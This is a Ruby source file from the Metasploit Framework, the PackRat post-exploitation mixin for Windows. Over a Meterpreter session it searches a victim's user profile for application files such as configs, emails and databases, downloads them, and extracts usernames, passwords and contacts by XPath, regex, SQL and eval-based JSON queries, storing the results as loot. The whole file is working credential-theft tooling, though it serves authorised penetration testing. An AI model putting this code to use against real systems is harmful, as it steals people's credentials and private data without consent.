lib/msf/core/post/windows/packrat.rb
# -*- coding: binary -*-
#
# A mixin used for providing Modules with post-exploitation options and helper methods
# PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
# PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
# This is a mixin that will be included in each separated module. Further details can be found in the module documentation.
#
require 'sqlite3'
module Msf
class Post
module Windows
module Packrat
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
def initialize(info = {})
super(
update_info(
info,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_close
core_channel_eof
core_channel_open
core_channel_read
stdapi_fs_search
stdapi_fs_separator
stdapi_fs_stat
]
}
}
)
)
end
# Check to see if the application base folder exists on the remote system.
def parent_folder_available?(path, dir, _application)
parent_folder = dir.split('\\').first
dirs = session.fs.dir.foreach(path).collect
return dirs.include? parent_folder
end
def artifact_folder_available?(path, dir, _application, _artifact_child)
parent_folder_path = "#{path}#{session.fs.file.separator}#{dir}"
return directory?(parent_folder_path)
end
def find_files(userprofile, application, artifact, path, dir)
file_directory = "#{path}\\#{dir}"
files = session.fs.file.search(file_directory, artifact.to_s, true)
# Checks if the file was found in the application's bas file
if files.empty?
vprint_error("#{application.capitalize}'s #{artifact.capitalize} not found in #{userprofile['UserName']}'s user directory\n")
else
print_status("#{application.capitalize}'s #{artifact.capitalize} file found")
end
return files
end
def extract_xml(saving_path, artifact_child, artifact, local_loc)
xml_file = Nokogiri::XML(::File.read(saving_path.to_s))
credential_array = []
xml_credential = ''
artifact_child[:xml_search].each do |xml_split|
xml_split[:xml].each do |xml_string|
xml_file.xpath(xml_string.to_s).each do |xml_match|
vprint_status(xml_split[:extraction_description].to_s)
print_good xml_match.to_s
credential_array << xml_match.to_s
end
end
end
credential_array.each do |xml_write|
file_save = xml_write.chomp + "\n"
xml_credential << file_save.to_s
end
xml_loot = store_loot("EXTRACTIONS#{artifact}", '', session, xml_credential.to_s, local_loc)
print_good "File with data saved: #{xml_loot}"
rescue StandardError => e
print_status e.to_s
end
def extract_regex(saving_path, artifact_child, artifact, local_loc)
file_string = ''
::File.open(saving_path.to_s, 'rb').each do |file_content|
file_string << file_content.to_s
end
credential_array = []
cred_save = ''
user_regex = datastore['REGEX']
regex_string = user_regex.to_s
artifact_child[:regex_search].each do |reg_child|
reg_child[:regex].map { |r| Regexp.new(r) }.each do |regex_to_match|
next unless file_string =~ regex_to_match
file_string.scan(regex_to_match).each do |found_credential|
file_strip = found_credential.gsub(/\s+/, '').to_s
vprint_status(reg_child[:extraction_description].to_s)
print_good file_strip
credential_array << file_strip
end
end
end
if file_string =~ user_regex
file_string.scan(user_regex).each do |user_match|
user_strip = user_match.gsub(/\s+/, '').to_s
vprint_status "Searching for #{regex_string}"
print_good user_strip.to_s
credential_array << user_strip
end
end
credential_array.each do |file_write|
file_save = file_write.chomp + "\n"
cred_save << file_save.to_s
end
regex_loot = store_loot("EXTRACTION#{artifact}", '', session, cred_save.to_s, local_loc)
print_good "File with data saved: #{regex_loot}"
rescue StandardError => e
print_status e.to_s
end
def extract_sqlite(saving_path, artifact_child, artifact, local_loc)
database_string = ''
database_file = ::SQLite3::Database.open(saving_path.to_s)
artifact_child[:sql_search].each do |sql_child|
db = database_file.prepare "SELECT #{sql_child[:sql_column]} FROM #{sql_child[:sql_table]}"
db_command = db.execute
db_command.each do |database_row|
join_info = database_row.join "\s"
line_split = join_info.chomp + "\n"
database_string << line_split.to_s
end
end
sql_loot = store_loot("EXTRACTIONS#{artifact}", '', session, database_string.to_s, local_loc)
print_good "File with data saved: #{sql_loot}"
rescue StandardError => e
print_status e.to_s
end
# rubocop:disable Lint/UselessAssignment
# rubocop:disable Lint/UnusedBlockArgument
# rubocop:disable Style/Eval
def extract_json(saving_path, artifact_child, artifact, local_loc)
json_file = ::File.read(saving_path.to_s)
json_parse = JSON.parse(json_file)
parent_json_query = ''
child_json_query = []
json_credential_save = []
json_cred = ''
artifact_child[:json_search].each do |json_split|
parent_json_query << json_split[:json_parent]
json_split[:json_children].each do |json_child|
child_json_query << json_child.to_s
end
end
child_json_query.each do |split|
children = eval("json_parse#{parent_json_query}")
children.each do |child_node|
child = eval("child_node#{split}").to_s
json_credential_save << "#{split}: #{child}"
end
end
json_credential_save.each do |json_save|
file_save = json_save.chomp + "\n"
print_good file_save.to_s
json_cred << file_save.to_s
end
json_loot = store_loot("EXTRACTIONS#{artifact}", '', session, json_cred.to_s, local_loc)
print_good "File with data saved: #{json_loot}"
rescue StandardError => e
print_status e.to_s
end
# rubocop:enable Lint/UselessAssignment
# rubocop:enable Lint/UnusedBlockArgument
# rubocop:enable Style/Eval
# Download file from the remote system, if it exists.
def packrat_download_file(saving_path, file_to_download, file, application)
print_status("Downloading #{file_to_download}")
session.fs.file.download_file(saving_path, file_to_download)
print_status("#{application.capitalize} #{file['name'].capitalize} downloaded")
print_good("File saved to: #{saving_path}\n")
end
def run_packrat(userprofile, opts = {})
vprint_status 'Starting Packrat...'
artifact_parent = opts[:gatherable_artifacts]
application = opts[:application]
artifact_parent.each do |artifact_child|
file_type = artifact_child[:filetypes]
artifact = artifact_child[:artifact_file_name]
dir = artifact_child[:dir]
path = userprofile[artifact_child[:path]]
credential_type = artifact_child[:credential_type]
# Checks if the current artifact matches the search criteria
if (file_type != datastore['ARTIFACTS'] && datastore['ARTIFACTS'] != 'All')
# Doesn't match search criteria, skip this artifact
vprint_status "Skipping #{file_type} due to unmatched artifact type"
next
end
# Check if the applications's base folder exists in user's directory on the remote computer.
if parent_folder_available?(path, dir, application)
vprint_status("#{application.capitalize}'s base folder found")
else
vprint_error("#{application.capitalize}'s base folder not found in #{userprofile['UserName']}'s user directory\n")
# skip non-existing file
next
end
# Check the availability of the folder containing the artifact of interest.
if artifact_folder_available?(path, dir, application, artifact_child)
vprint_status("Found the folder containing specified artifact for #{artifact}.")
else
vprint_error("Could not find the folder for the specified artifact #{artifact} at #{dir}.\n")
# skip non-existing file
next
end
# Get the files that matches the pre-defined artifact name
found_files = find_files(userprofile, application, artifact, path, dir)
# Checks if the user have disabled STORE_LOOT option or if no file was found. Go to next in such case
if found_files.empty?
vprint_error "Skipping #{artifact} since it was not found on the user's folder."
next
elsif !datastore['STORE_LOOT']
print_good 'File was found but STORE_LOOT option is disabled. File was not saved'
next
end
# Download each files found
found_files.each do |file|
vprint_status "Processing #{file['path']}"
file_split = file['path'].split('\\')
local_loc = "#{file_split.last}#{file['name']}"
saving_path = store_loot("#{application}#{file['name']}", '', session, file['name'], local_loc)
file_to_download = "#{file['path']}#{session.fs.file.separator}#{file['name']}"
# Download file
packrat_download_file(saving_path, file_to_download, file, application)
if datastore['EXTRACT_DATA']
case credential_type
when 'xml'
extract_xml(saving_path, artifact_child, artifact, local_loc)
when 'json'
extract_json(saving_path, artifact_child, artifact, local_loc)
when 'text'
extract_regex(saving_path, artifact_child, artifact, local_loc)
when 'sqlite'
extract_sqlite(saving_path, artifact_child, artifact, local_loc)
else
vprint_error 'This artifact does not support any extraction type'
end
else
vprint_status 'Data are not extracted'
end
end
end
end
end
end
end
end